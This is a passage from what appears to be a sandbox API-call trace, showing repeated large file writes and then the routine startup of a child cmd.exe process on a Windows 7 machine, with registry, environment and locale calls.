lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.272] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.289] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.350] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.368] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.410] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.442] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.463] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.506] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.528] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.554] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.576] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.602] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.622] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.713] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.748] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.770] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.809] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.826] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.847] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.864] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.938] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.955] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0279.014] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0279.032] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0xdbc7a, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0xdbc7a, lpOverlapped=0x0) returned 1 [0279.073] FlushFileBuffers (hFile=0x188) returned 1 [0281.159] FlushFileBuffers (hFile=0x17c) Thread: id = 125 os_tid = 0x180 Thread: id = 126 os_tid = 0x208 Thread: id = 202 os_tid = 0x688 Process: id = "13" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x73e8a000" os_pid = "0x5fc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0x7e8" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea12" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 84 os_tid = 0x5bc [0198.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14f830 | out: lpSystemTimeAsFileTime=0x14f830*(dwLowDateTime=0xfc504a60, dwHighDateTime=0x1d696f3)) [0198.101] GetCurrentProcessId () returned 0x5fc [0198.101] GetCurrentThreadId () returned 0x5bc [0198.101] GetTickCount () returned 0x113d588 [0198.101] QueryPerformanceCounter (in: lpPerformanceCount=0x14f838 | out: lpPerformanceCount=0x14f838*=12531852068) returned 1 [0198.104] GetModuleHandleW (lpModuleName=0x0) returned 0x49f60000 [0198.104] __set_app_type (_Type=0x1) [0198.104] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49f87810) returned 0x0 [0198.104] __getmainargs (in: _Argc=0x49faa608, _Argv=0x49faa618, _Env=0x49faa610, _DoWildCard=0, _StartInfo=0x49f8e0f4 | out: _Argc=0x49faa608, _Argv=0x49faa618, _Env=0x49faa610) returned 0 [0198.105] GetCurrentThreadId () returned 0x5bc [0198.105] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x5bc) returned 0x3c [0198.105] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77970000 [0198.106] GetProcAddress (hModule=0x77970000, lpProcName="SetThreadUILanguage") returned 0x77986d40 [0198.106] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0198.106] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0198.106] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x14f7c8 | out: phkResult=0x14f7c8*=0x0) returned 0x2 [0198.106] VirtualQuery (in: lpAddress=0x14f7b0, lpBuffer=0x14f730, dwLength=0x30 | out: lpBuffer=0x14f730*(BaseAddress=0x14f000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0198.106] VirtualQuery (in: lpAddress=0x50000, lpBuffer=0x14f730, dwLength=0x30 | out: lpBuffer=0x14f730*(BaseAddress=0x50000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0198.106] VirtualQuery (in: lpAddress=0x51000, lpBuffer=0x14f730, dwLength=0x30 | out: lpBuffer=0x14f730*(BaseAddress=0x51000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0198.106] VirtualQuery (in: lpAddress=0x54000, lpBuffer=0x14f730, dwLength=0x30 | out: lpBuffer=0x14f730*(BaseAddress=0x54000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0198.106] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x14f730, dwLength=0x30 | out: lpBuffer=0x14f730*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0198.106] GetConsoleOutputCP () returned 0x1b5 [0198.106] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0198.107] SetConsoleCtrlHandler (HandlerRoutine=0x49f83184, Add=1) returned 1 [0198.107] _get_osfhandle (_FileHandle=1) returned 0xbc [0198.107] SetConsoleMode (hConsoleHandle=0xbc, dwMode=0x0) returned 0 [0198.107] _get_osfhandle (_FileHandle=1) returned 0xbc [0198.107] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0198.108] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.108] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0198.108] GetEnvironmentStringsW () returned 0x288a60* [0198.108] GetProcessHeap () returned 0x270000 [0198.108] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xa7c) returned 0x2894f0 [0198.108] FreeEnvironmentStringsW (penv=0x288a60) returned 1 [0198.108] GetProcessHeap () returned 0x270000 [0198.108] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x8) returned 0x2888e0 [0198.108] GetEnvironmentStringsW () returned 0x288a60* [0198.108] GetProcessHeap () returned 0x270000 [0198.108] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xa7c) returned 0x289f80 [0198.108] FreeEnvironmentStringsW (penv=0x288a60) returned 1 [0198.108] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14e688 | out: phkResult=0x14e688*=0x44) returned 0x0 [0198.109] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x0, lpData=0x14e6a0*=0x18, lpcbData=0x14e684*=0x1000) returned 0x2 [0198.109] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x4, lpData=0x14e6a0*=0x1, lpcbData=0x14e684*=0x4) returned 0x0 [0198.109] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x0, lpData=0x14e6a0*=0x1, lpcbData=0x14e684*=0x1000) returned 0x2 [0198.109] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x4, lpData=0x14e6a0*=0x0, lpcbData=0x14e684*=0x4) returned 0x0 [0198.109] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x4, lpData=0x14e6a0*=0x40, lpcbData=0x14e684*=0x4) returned 0x0 [0198.109] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x4, lpData=0x14e6a0*=0x40, lpcbData=0x14e684*=0x4) returned 0x0 [0198.109] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x0, lpData=0x14e6a0*=0x40, lpcbData=0x14e684*=0x1000) returned 0x2 [0198.109] RegCloseKey (hKey=0x44) returned 0x0 [0198.109] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14e688 | out: phkResult=0x14e688*=0x44) returned 0x0 [0198.109] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x0, lpData=0x14e6a0*=0x40, lpcbData=0x14e684*=0x1000) returned 0x2 [0198.109] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x4, lpData=0x14e6a0*=0x1, lpcbData=0x14e684*=0x4) returned 0x0 [0198.109] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x0, lpData=0x14e6a0*=0x1, lpcbData=0x14e684*=0x1000) returned 0x2 [0198.109] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x4, lpData=0x14e6a0*=0x0, lpcbData=0x14e684*=0x4) returned 0x0 [0198.109] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x4, lpData=0x14e6a0*=0x9, lpcbData=0x14e684*=0x4) returned 0x0 [0198.109] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x4, lpData=0x14e6a0*=0x9, lpcbData=0x14e684*=0x4) returned 0x0 [0198.109] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14e680, lpData=0x14e6a0, lpcbData=0x14e684*=0x1000 | out: lpType=0x14e680*=0x0, lpData=0x14e6a0*=0x9, lpcbData=0x14e684*=0x1000) returned 0x2 [0198.109] RegCloseKey (hKey=0x44) returned 0x0 [0198.109] time (in: timer=0x0 | out: timer=0x0) returned 0x5f74275a [0198.109] srand (_Seed=0x5f74275a) [0198.109] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0198.109] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0198.110] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0198.110] GetProcessHeap () returned 0x270000 [0198.110] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x218) returned 0x28aa10 [0198.111] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x28aa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0198.111] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0198.111] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0198.111] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0198.111] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0198.111] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0198.111] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0198.111] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0198.111] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0198.111] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0198.111] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0198.111] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0198.111] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0198.111] GetProcessHeap () returned 0x270000 [0198.111] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2894f0 | out: hHeap=0x270000) returned 1 [0198.111] GetEnvironmentStringsW () returned 0x288a60* [0198.111] GetProcessHeap () returned 0x270000 [0198.111] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xa94) returned 0x28ac30 [0198.111] FreeEnvironmentStringsW (penv=0x288a60) returned 1 [0198.111] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0198.112] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0198.112] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0198.112] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0198.112] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0198.112] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0198.112] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0198.112] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0198.112] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0198.112] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0198.112] GetProcessHeap () returned 0x270000 [0198.112] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x38) returned 0x286490 [0198.112] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x14f490 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0198.112] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x14f490, lpFilePart=0x14f470 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x14f470*="system32") returned 0x13 [0198.112] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0198.112] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x14f1a0 | out: lpFindFileData=0x14f1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Windows", cAlternateFileName="")) returned 0x28b6d0 [0198.112] FindClose (in: hFindFile=0x28b6d0 | out: hFindFile=0x28b6d0) returned 1 [0198.112] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x14f1a0 | out: lpFindFileData=0x14f1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="System32", cAlternateFileName="")) returned 0x28b6d0 [0198.112] FindClose (in: hFindFile=0x28b6d0 | out: hFindFile=0x28b6d0) returned 1 [0198.113] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0198.113] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0198.113] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0198.113] GetProcessHeap () returned 0x270000 [0198.113] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28ac30 | out: hHeap=0x270000) returned 1 [0198.113] GetEnvironmentStringsW () returned 0x28ac30* [0198.113] GetProcessHeap () returned 0x270000 [0198.113] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xac4) returned 0x288a60 [0198.113] FreeEnvironmentStringsW (penv=0x28ac30) returned 1 [0198.113] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0198.113] GetProcessHeap () returned 0x270000 [0198.113] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x286490 | out: hHeap=0x270000) returned 1 [0198.113] GetProcessHeap () returned 0x270000 [0198.113] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x4016) returned 0x28ac30 [0198.114] GetProcessHeap () returned 0x270000 [0198.114] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28ac30 | out: hHeap=0x270000) returned 1 [0198.114] GetConsoleOutputCP () returned 0x1b5 [0198.114] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0198.114] GetUserDefaultLCID () returned 0x409 [0198.114] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49f97b50, cchData=8 | out: lpLCData=":") returned 2 [0198.114] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x14f5a0, cchData=128 | out: lpLCData="0") returned 2 [0198.114] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x14f5a0, cchData=128 | out: lpLCData="0") returned 2 [0198.114] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x14f5a0, cchData=128 | out: lpLCData="1") returned 2 [0198.114] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49faa740, cchData=8 | out: lpLCData="/") returned 2 [0198.114] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49faa4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0198.115] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49faa460, cchData=32 | out: lpLCData="Tue") returned 4 [0198.115] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49faa420, cchData=32 | out: lpLCData="Wed") returned 4 [0198.115] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49faa3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0198.115] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49faa3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0198.115] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49faa360, cchData=32 | out: lpLCData="Sat") returned 4 [0198.115] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49faa700, cchData=32 | out: lpLCData="Sun") returned 4 [0198.115] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49f97b40, cchData=8 | out: lpLCData=".") returned 2 [0198.115] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49faa4e0, cchData=8 | out: lpLCData=",") returned 2 [0198.115] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0198.116] GetProcessHeap () returned 0x270000 [0198.116] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x20c) returned 0x2895a0 [0198.116] GetConsoleTitleW (in: lpConsoleTitle=0x2895a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0198.331] _get_osfhandle (_FileHandle=1) returned 0xbc [0198.331] GetFileType (hFile=0xbc) returned 0x3 [0198.331] BrandingFormatString () returned 0x2897c0 [0198.340] GetVersion () returned 0x1db10106 [0198.340] _vsnwprintf (in: _Buffer=0x14f710, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x14f6a8 | out: _Buffer="6.1.7601") returned 8 [0198.340] _get_osfhandle (_FileHandle=1) returned 0xbc [0198.340] GetFileType (hFile=0xbc) returned 0x3 [0198.340] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x49fa6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0198.340] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x49fa6340, nSize=0x2000, Arguments=0x14f6b0 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0198.340] _get_osfhandle (_FileHandle=1) returned 0xbc [0198.340] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0198.340] WriteFile (in: hFile=0xbc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x14f638, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x14f638*=0x24, lpOverlapped=0x0) returned 1 [0198.340] _vsnwprintf (in: _Buffer=0x49fa6340, 